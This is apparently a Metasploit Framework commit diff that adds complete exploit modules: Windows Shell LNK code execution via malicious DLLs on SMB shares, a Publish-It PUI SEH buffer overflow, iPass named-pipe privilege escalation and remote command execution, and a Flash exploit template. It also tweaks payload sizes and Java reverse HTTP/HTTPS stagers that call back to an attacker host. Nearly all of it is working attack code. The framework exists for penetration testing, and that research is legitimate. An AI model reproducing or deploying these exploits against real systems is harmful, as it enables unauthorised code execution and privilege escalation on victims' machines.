<object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" )
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end

View File

@ -0,0 +1,162 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
attr_accessor :dll_base_name
attr_accessor :exploit_dll_base_name
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Shell LNK Code Execution',
'Description' => %q{
This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling
of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious
DLL. This module creates the required files to exploit the vulnerability. They must be
uploaded to an UNC path accessible by the target. This module has been tested successfully
on Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027
installed.
},
'Author' =>
[
'Michael Heerklotz', # Vulnerability discovery
'juan vazquez' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-0096'],
['MSB', 'MS15-020'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
['Automatic', { }]
],
'DisclosureDate' => 'Mar 10 2015',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk']),
OptString.new('UNCHOST', [true, 'The host portion of the UNC path to provide to clients (ex: 1.2.3.4).']),
OptString.new('UNCSHARE', [true, 'The share folder portion of the UNC path to provide to clients (ex: share).']),
], self.class)
end
def smb_host
"\\\\#{datastore['UNCHOST']}\\#{datastore['UNCSHARE']}\\"
end
def exploit_dll_filename
name_length = 257 - (smb_host.length + 4 + 2)
self.dll_base_name = dll_base_name || rand_text_alpha(1)
self.exploit_dll_base_name = exploit_dll_base_name || rand_text_alpha(name_length)
"#{dll_base_name} #{exploit_dll_base_name}.dll"
end
def dll_filename
self.dll_base_name = dll_base_name || rand_text_alpha(1)
"#{dll_base_name}.dll"
end
def create_exploit_file(file_name, data)
unless ::File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end
path = File.join(Msf::Config.local_directory, file_name)
full_path = ::File.expand_path(path)
File.open(full_path, 'wb') { |fd| fd.write(data) }
full_path
end
def dll_create(data)
full_path = create_exploit_file(dll_filename, data)
print_good "DLL with payload stored at #{full_path}"
end
def exploit_dll_create(data)
full_path = create_exploit_file(exploit_dll_filename, data)
print_good "Fake dll to exploit stored at #{full_path}"
end
def exploit
dll = generate_payload_dll
dll_create(dll)
exploit_dll_create(dll)
lnk = generate_link("#{smb_host}#{exploit_dll_filename}")
file_create(lnk)
end
# stolen from ms10_046_shortcut_icon_dllloader, all the credits to the original authors: 'hdm', 'jduck', 'B_H'
def generate_link(unc)
uni_unc = unc.unpack('C*').pack('v*')
path = ''
path << [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack('C*')
path << uni_unc
# LinkHeader
ret = [
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack('C*')
idlist_data = ''
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [path.length + 2].pack('v')
idlist_data << path
idlist_data << [0x00].pack('v') # TERMINAL WOO
# LinkTargetIDList
ret << [idlist_data.length].pack('v') # IDListSize
ret << idlist_data
# ExtraData blocks (none)
ret << [rand(4)].pack('V')
# Patch in the LinkFlags
ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')
ret
end
end

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Publish-It PUI Buffer Overflow (SEH)',
'Description' => %q{
This module exploits a stack based buffer overflow in Publish-It when
processing a specially crafted .PUI file. This vulnerability could be
exploited by a remote attacker to execute arbitrary code on the target
machine by enticing a user of Publish-It to open a malicious .PUI file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Kazimirow', # Original discovery
'Andrew Smith "jakx_"', # Exploit and MSF Module
],
'References' =>
[
[ 'OSVDB', '102911' ],
[ 'CVE', '2014-0980' ],
[ 'EDB', '31461' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0b\x0a",
'DisableNops' => true,
'Space' => 377
},
'Targets' =>
[
[ 'Publish-It 3.6d',
{
'Ret' => 0x0046e95a, #p/p/r | Publish.EXE
'Offset' => 1082
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Feb 5 2014',
'DefaultTarget' => 0))
register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)
end
def exploit
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
fd = File.open(path, "rb")
template_data = fd.read(fd.stat.size)
fd.close
buffer = template_data
buffer << make_nops(700)
buffer << payload.encoded
buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
buffer << make_nops(2)
buffer << [target.ret].pack("V")
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buffer)
end
end

View File

@ -0,0 +1,181 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
def initialize(info={})
super(update_info(info, {
'Name' => 'iPass Mobile Client Service Privilege Escalation',
'Description' => %q{
The named pipe, \IPEFSYSPCPIPE, can be accessed by normal users to interact
with the iPass service. The service provides a LaunchAppSysMode command which
allows to execute arbitrary commands as SYSTEM.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h0ng10' # Vulnerability discovery, metasploit module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows', { } ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'References' =>
[
['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt']
],
'DisclosureDate' => 'Mar 12 2015',
'DefaultTarget' => 0
}))
register_options([
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)'])
], self.class)
end
def check
os = sysinfo['OS']
unless os =~ /windows/i
return Exploit::CheckCode::Safe
end
svc = service_info('iPlatformService')
if svc && svc[:display] =~ /iPlatformService/
vprint_good("Found service '#{svc[:display]}'")
if is_running?
vprint_good('Service is running')
else
vprint_error('Service is not running!')
end
vprint_good('Opening named pipe...')
handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE')
if handle.nil?
vprint_error('\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found')
return Exploit::CheckCode::Safe
else
vprint_good('\\\\.\\pipe\\IPEFSYSPCPIPE found!')
session.railgun.kernel32.CloseHandle(handle)
end
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def open_named_pipe(pipe)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
handle = r['return']
return nil if handle == invalid_handle_value
handle
end
def write_named_pipe(handle, command)
buffer = Rex::Text.to_unicode(command)
w = client.railgun.kernel32.WriteFile(handle, buffer, buffer.length, 4, nil)
if w['return'] == false
print_error('The was an error writing to pipe, check permissions')
return false
end
true
end
def is_running?
begin
status = service_status('iPlatformService')
rescue RuntimeError => e
print_error('Unable to retrieve service status')
return false
end
return status && status[:state] == 4
end
def exploit
if is_system?
fail_with(Failure::NoTarget, 'Session is already elevated')
end
handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE")
if handle.nil?
fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found")
else
print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...")
end
if datastore['WritableDir'] and not datastore['WritableDir'].empty?
temp_dir = datastore['WritableDir']
else
temp_dir = client.sys.config.getenv('TEMP')
end
print_status("Using #{temp_dir} to drop malicious exe")
begin
cd(temp_dir)
rescue Rex::Post::Meterpreter::RequestError
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Config, "Failed to use the #{temp_dir} directory")
end
print_status('Writing malicious exe to remote filesystem')
write_path = pwd
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
begin
write_file(exe_name, generate_payload_exe)
register_file_for_cleanup("#{write_path}\\#{exe_name}")
rescue Rex::Post::Meterpreter::RequestError
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
end
print_status('Sending LauchAppSysMode command')
begin
write_res = write_named_pipe(handle, "iPass.EventsAction.LaunchAppSysMode #{write_path}\\#{exe_name};;;")
rescue Rex::Post::Meterpreter::RequestError
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, 'Failed to write to pipe')
end
unless write_res
fail_with(Failure::Unknown, 'Failed to write to pipe')
end
end
end

View File

@ -135,8 +135,8 @@ class Metasploit3 < Msf::Exploit::Local
begin
write_file(tempvbs, vbs)
print_good("Persistent Script written to #{tempvbs}")
tempvbs = tempvbs.gsub(/\\/, '//') # Escape windows pathname separators.
@clean_up_rc << "rm #{tempvbs}\n"
# Escape windows pathname separators.
@clean_up_rc << "rm #{tempvbs.gsub(/\\/, '//')}\n"
rescue
print_error("Could not write the payload on the target hosts.")
# return nil since we could not write the file on the target host.

View File

@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote
],
'References' =>
[
[ 'URL', 'http://revuln.com/files/ReVuln_NVIDIA_mental_ray.pdf' ]
[ 'URL', 'http://revuln.com/files/ReVuln_NVIDIA_mental_ray.pdf' ],
[ 'OSVDB', '100827' ]
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Platform' => 'win',

View File

@ -0,0 +1,114 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'IPass Control Pipe Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability in the IPass Client service. This service provides a
named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused
to force the service to load a DLL from a SMB share.
},
'Author' =>
[
'Matthias Kaiser', # Vulnerability discovery
'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-0925' ],
[ 'OSVDB', '117423' ],
[ 'BID', '72265' ],
[ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows x32', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'Privileged' => true,
'DisclosureDate' => 'Jan 21 2015',
'DefaultTarget' => 0))
register_options(
[
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
], self.class)
deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
end
def check
echo_value = rand_text_alphanumeric(rand(10) + 10)
begin
response = send_command("System.Echo #{echo_value}")
if response =~ Regexp.new(echo_value)
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Unknown
end
rescue Rex::ConnectionError => e
vprint_error("Connection failed: #{e.class}: #{e}")
return Msf::Exploit::CheckCode::Unknown
rescue Rex::Proto::SMB::Exceptions::LoginError => e
vprint_error('Connection reset during login')
return Msf::Exploit::CheckCode::Unknown
end
end
def setup
super
self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
self.share = Rex::Text.rand_text_alpha(5)
end
def primer
self.file_contents = generate_payload_dll
print_status("File available on #{unc}...")
send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")
end
def send_command(command)
# The connection is closed after each command, so we have to reopen it
connect
smb_login
pipe = simple.create_pipe('\\IPEFSYSPCPIPE')
pipe.write(Rex::Text.to_unicode(command))
response = Rex::Text.to_ascii(pipe.read)
response
end
def exploit
begin
Timeout.timeout(datastore['SMB_DELAY']) { super }
rescue Timeout::Error
# do nothing... just finish exploit and stop smb server...
end
end
end

View File

@ -0,0 +1,127 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::SMB::Server::Share
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Shell LNK Code Execution',
'Description' => %q{
This module exploits a vulnerability in the handling of Windows
Shortcut files (.LNK) that contain an icon resource pointing to a
malicious DLL. This creates an SMB resource to provide the payload
inside a DLL, and generates a LNK file which must be sent to the
target.
},
'Author' =>
[
'hdm', # Module itself
'jduck', # WebDAV implementation, UNCHOST var
'B_H' # Clean LNK template
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2010-2568'],
['OSVDB', '66387'],
['MSB', 'MS10-046'],
['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ]
],
'DisclosureDate' => 'Jul 16 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk'])
], self.class)
register_advanced_options(
[
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false])
], self.class)
deregister_options('FILE_CONTENTS', 'FILE_NAME')
end
def setup
super
self.file_contents = generate_payload_dll
self.file_name = "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll"
print_status("File available on #{unc}...")
end
def primer
lnk = generate_link(unc)
file_create(lnk)
print_status('The LNK file must be sent or shared with the target...')
end
def generate_link(unc)
uni_unc = unc.unpack('C*').pack('v*')
path = ''
path << [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack('C*')
path << uni_unc
# LinkHeader
ret = [
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack('C*')
idlist_data = ''
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [path.length + 2].pack('v')
idlist_data << path
idlist_data << [0x00].pack('v') # TERMINAL WOO
# LinkTargetIDList
ret << [idlist_data.length].pack('v') # IDListSize
ret << idlist_data
# ExtraData blocks (none)
ret << [rand(4)].pack('V')
# Patch in the LinkFlags
ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')
ret
end
end

View File

@ -0,0 +1,139 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::SMB::Server::Share
attr_accessor :exploit_dll_name
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Shell LNK Code Execution',
'Description' => %q{
This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling
of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious
DLL. This creates an SMB resource to provide the payload and the trigger, and generates a
LNK file which must be sent to the target. This module has been tested successfully on
Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027
installed.
},
'Author' =>
[
'Michael Heerklotz', # Vulnerability discovery
'juan vazquez' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-0096'],
['MSB', 'MS15-020'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ]
],
'DisclosureDate' => 'Mar 10 2015',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk'])
], self.class)
register_advanced_options(
[
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false])
], self.class)
deregister_options('FILE_CONTENTS', 'FILE_NAME')
end
def smb_host
"\\\\#{srvhost}\\#{share}\\"
end
def setup
super
self.file_contents = generate_payload_dll
random_char = rand_text_alpha(1)
self.file_name = "#{random_char}.dll"
prefix = "#{random_char} "
random_length = 257 - smb_host.length - file_name.length - prefix.length
self.exploit_dll_name = "#{prefix}#{rand_text_alpha(random_length)}#{file_name}"
print_status("Payload available on #{unc}...")
print_status("Trigger available on #{smb_host}#{exploit_dll_name}...")
end
def primer
lnk = generate_link("#{smb_host}#{exploit_dll_name}")
file_create(lnk)
print_status('The LNK file must be sent or shared with the target...')
end
def generate_link(unc)
uni_unc = unc.unpack('C*').pack('v*')
path = ''
path << [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack('C*')
path << uni_unc
# LinkHeader
ret = [
0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
].pack('C*')
idlist_data = ''
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [0x12 + 2].pack('v')
idlist_data << [
0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [path.length + 2].pack('v')
idlist_data << path
idlist_data << [0x00].pack('v') # TERMINAL WOO
# LinkTargetIDList
ret << [idlist_data.length].pack('v') # IDListSize
ret << idlist_data
# ExtraData blocks (none)
ret << [rand(4)].pack('V')
# Patch in the LinkFlags
ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')
ret
end
end

View File

@ -8,7 +8,7 @@ require 'msf/core'
module Metasploit3
CachedSize = 209
CachedSize = 40
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 255
CachedSize = 86
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -7,7 +7,7 @@ require 'msf/core'
module Metasploit3
CachedSize = 226
CachedSize = 57
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 243
CachedSize = 74
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -17,7 +17,7 @@ require 'msf/core'
###
module Metasploit3
CachedSize = 219
CachedSize = 97
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -12,7 +12,7 @@ require 'msf/core'
###
module Metasploit3
CachedSize = 158
CachedSize = 36
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -15,7 +15,7 @@ require 'msf/core'
###
module Metasploit3
CachedSize = 158
CachedSize = 36
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
module Metasploit3
CachedSize = 122
CachedSize = 0
include Msf::Payload::Linux
include Msf::Payload::Single

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_options'
module Metasploit3
CachedSize = 122
CachedSize = 0
include Msf::Payload::Linux
include Msf::Payload::Single

View File

@ -7,7 +7,7 @@ require 'msf/core'
module Metasploit3
CachedSize = 184
CachedSize = 62
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 212
CachedSize = 90
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 200
CachedSize = 78
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -7,7 +7,7 @@ require 'msf/core'
module Metasploit3
CachedSize = 179
CachedSize = 57
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 184
CachedSize = 62
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 191
CachedSize = 69
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 190
CachedSize = 68
include Msf::Payload::Single
include Msf::Payload::Linux

View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
module Metasploit3
CachedSize = 5500
CachedSize = 5499
include Msf::Payload::Stager
include Msf::Payload::Java
@ -40,12 +40,22 @@ module Metasploit3
end
def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
c << "URL=http://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/INITJM\n"
c << "/"
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
c << "\n"
c
end

View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_https'
module Metasploit3
CachedSize = 6308
CachedSize = 6307
include Msf::Payload::Stager
include Msf::Payload::Java
@ -42,12 +42,22 @@ module Metasploit3
end
def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
c << "URL=https://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/INITJM\n"
c << "/"
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
c << "\n"
c
end

View File

@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp'
module Metasploit3
CachedSize = 247
CachedSize = 78
include Msf::Payload::Stager
include Msf::Payload::Linux

View File

@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp'
module Metasploit3
CachedSize = 237
CachedSize = 68
include Msf::Payload::Stager
include Msf::Payload::Linux

View File

@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp'
# Linux Bind TCP/IPv6 Stager
module Metasploit3
CachedSize = 207
CachedSize = 85
include Msf::Payload::Stager
include Msf::Payload::Linux

View File

@ -18,7 +18,7 @@ require 'msf/core/handler/bind_tcp'
###
module Metasploit3
CachedSize = 185
CachedSize = 63
include Msf::Payload::Stager
include Msf::Payload::Linux

View File

@ -18,7 +18,7 @@ require 'msf/core/handler/bind_tcp'
###
module Metasploit3
CachedSize = 201
CachedSize = 79
include Msf::Payload::Stager
include Msf::Payload::Linux

View File

@ -18,7 +18,7 @@ require 'msf/core/handler/find_tag'
###
module Metasploit3
CachedSize = 159
CachedSize = 37
include Msf::Payload::Stager
include Msf::Payload::Linux

View File

@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp'
# Linux Reverse TCP/IPv6 Stager
module Metasploit3
CachedSize = 199
CachedSize = 77
include Msf::Payload::Stager
include Msf::Payload::Linux

View File

@ -18,7 +18,7 @@ require 'msf/core/handler/reverse_tcp'
###
module Metasploit3
CachedSize = 172
CachedSize = 50
include Msf::Payload::Stager
include Msf::Payload::Linux

View File

@ -18,7 +18,7 @@ require 'msf/core/handler/reverse_tcp'
###
module Metasploit3
CachedSize = 193
CachedSize = 71
include Msf::Payload::Stager
include Msf::Payload::Linux

View File

@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
module Metasploit3
CachedSize = 442
CachedSize = 446
include Msf::Payload::Stager
@ -26,9 +26,9 @@ module Metasploit3
register_options(
[
OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]),
